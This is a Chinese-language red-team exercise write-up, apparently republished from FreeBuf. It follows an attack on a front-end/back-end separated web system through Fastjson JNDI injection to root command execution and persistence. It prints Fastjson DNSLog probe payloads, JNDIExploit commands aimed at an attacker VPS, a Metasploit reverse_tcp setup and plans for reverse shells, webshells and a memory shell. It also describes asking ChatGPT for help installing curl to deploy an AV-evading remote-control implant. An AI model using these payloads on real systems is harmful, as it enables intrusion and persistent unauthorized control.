在如今錯綜復雜的網絡環境,還有各種防護設備的加持,漏洞利用可謂難上加難。這里簡單記錄下在一次攻防演練中從打點到權限維持的曲折過程。
前期先從備案查詢、子域名收集、端口掃描等方式獲取資產URL。其次對URL進行指紋識別,雖然發現了幾個存在指紋的系統,但后續滲透發現漏洞已無法利用,漏洞已修。最后老實本分對其他Web系統進行滲透,尋找突破口。
前后端分離的開發架構已然成為互聯網項目開發的主流模式,通過nginx+tomcat(中間加Node.js)來進行解耦,是未來的大型分布式架構、彈性計算架構、微服務架構和多端化服務的基礎。
·前端:負責View和Controller層·后端:負責Model層,進行業務/數據處理
JAVA 更適合做 Model 層、持久層的業務,引入Node.js可進行Controller層的處理。Node.js作為橋梁架接服務端API輸出的JSON數據。
WebPack本身作為一個資源管理和打包構建工作,其強大之處在于各種靜態資源的依賴分析和預編譯。經過WebPack編譯后得到各種靜態資源,通常生成dist文件夾,保存各種靜態文件。其結構大致如下:
而app.js文件通常包含了各類前端路由或者后端API接口,是我們滲透前后端系統的突破口。當然不僅僅只是app.js中會存在。
使用burp插件,可自動從js中爬取前端路由或者后端API接口
當獲取到后端API接口時,使用burp的Intruder模塊對所有接口發送GET和POST請求,POST請求時可以構造json請求體發送。
部分接口進行GET請求時,后端返回缺失某參數,此時可構造該參數并進行SQL注入等漏洞利用。
此時從報錯信息中發現某個接口使用Fastjson組件
于是利用DNS探測判斷Fastjson版本
Fastjson < 1.2.43
{"@type":"java.URL","val":"http://dnslog"} {{"@type":"java.URL","val":"http://dnslog"}:"x"}
Fastjson < 1.2.48
{"@type":"java.InetAddress","val":"dnslog"}
Fastjson < 1.2.68
{"@type":"java.Inet6Address","val":"dnslog"}{{"@type":"java.URL","val":"dnslog"}:"aaa"}{{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.URL", "val":"http://dnslog"}}""}{{"@type":"java.URL","val":"http://dnslog"}:0}
未發現DNSLog回顯
字段Content-Type存在dnslog回顯,先試試dns協議進行dnslog探測
可探測java版本,1.8.0_171版本
使用ldap協議進行dnslog探測
可探測服務器類型,Linux系統
可進行jndi注入利用,使用工具JNDIExploit-1.4-SNAPSHOT.jar
查看使用方式命令:java -jar JNDIExploit-1.4-SNAPSHOT.jar -u
使用TomcatEcho鏈執行命令并回顯命令:java -jar JNDIExploit-1.4-SNAPSHOT.jar -i your-vps-ip
發送cmd命令請求
成功執行命令并回顯,root權限
此時獲取命令執行權限,如何進行權限維持?獲取一個穩定的shell
1)執行命令,直接反彈shell
2)執行命令,寫入webshell
3)jndi注入工具支持打入內存馬
4)jndi注入工具1.4版本新增支持上線msf
第一種嘗試:執行bash、sh命令反彈shell,存在ldap請求,但反彈命令未執行成功;
第二種嘗試:通過pwd、ls命令進行Web系統目錄,發現服務由jar起的,寫入webshell文件無法利用;
第三種嘗試:VPS收到打入內存馬的ldap請求,但訪問內存馬路徑時顯示404;
第四種嘗試:使用tomcatBypass路由上線msf成功
msf開啟監聽,使用payload:java/meterpreter/reverse_tcp
設置LHOST、LPORT,執行run開啟監聽
發送ldap請求,請求tomcatBypass路由,IP是VPS的IP,PORT是msf監聽的端口
上線msf,得到穩定式shell
得到shell,但無法進行直觀目錄瀏覽,而且shell是交互式shell,有沒有更好的遠控方式呢?
在本公眾號前面發過的文章中提到一款遠控平臺,自帶某廠商證書,為免殺工作省去大量功夫。但上線命令需要使用curl命令,然而該機器上并沒有curl命令。
沒有curl,但有wget,可不可以使用wget替換curl,詢問下chatgpt
答案是存在可替換的,但卻達不到我們的效果
于是安裝curl命令,但yum、apt-get等命令也沒有
很奇怪的一個系統,大概率是個閹割版的docker容器,先看下系統版本類型
cat /etc/os-release
這種系統內核,百度下
是個docker無疑了,詢問chatgpt該內核的系統如何下載curl
Apline Linux內核使用輕量級的apk包管理工具來管理軟件包。執行一鍵安裝命令,等待安裝過程
安裝完成,接下來使用curl命令一鍵上線遠控。
命令執行無法反彈shell或許是防護設備攔截所致。
本文作者:極致攻防實驗室, 轉載請注明來自FreeBuf.COM
本文鏈接:http://www.tebozhan.com/showinfo-26-12690-0.html記一次攻防演練打點過程
聲明:本網頁內容旨在傳播知識,若有侵權等問題請及時與本網聯系,我們將在第一時間刪除處理。郵件:2376512515@qq.com
上一篇: 如何優雅的處理Java異常?